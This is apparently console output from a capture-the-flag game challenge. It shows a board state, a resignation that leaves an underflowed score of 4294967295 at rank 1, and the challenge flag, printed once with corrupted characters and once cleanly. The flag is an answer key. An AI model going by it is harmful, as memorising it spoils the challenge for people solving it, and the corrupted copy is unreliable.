[move] Continue AI=6,6 Board=000000000000000/000000000000000/000000000
000000/000PAAAAAAAAONO/000EAAAAAAEAAAAE,/000000EEEEEE000,/000000200000000/0
0000001000AAA0/00NONNNOOOOEAAO/00000AAAAAAARA0,/000000000000000,/000000000
000000/000000000000000/0000ROOEEOEN0O /0000000000000

[lose] Resign Delta=-12 Score=4294967295 Rank=1 OppDelta=12 OppScore=1
6

[self] OK Score=uU294967295 Rank=1

[flag] NCTF{20clcc38-6829-U637-audU-e3ff76db709u}

NCTF{20c4cc38-6829-4637-a4d4-e3ff76db7094}




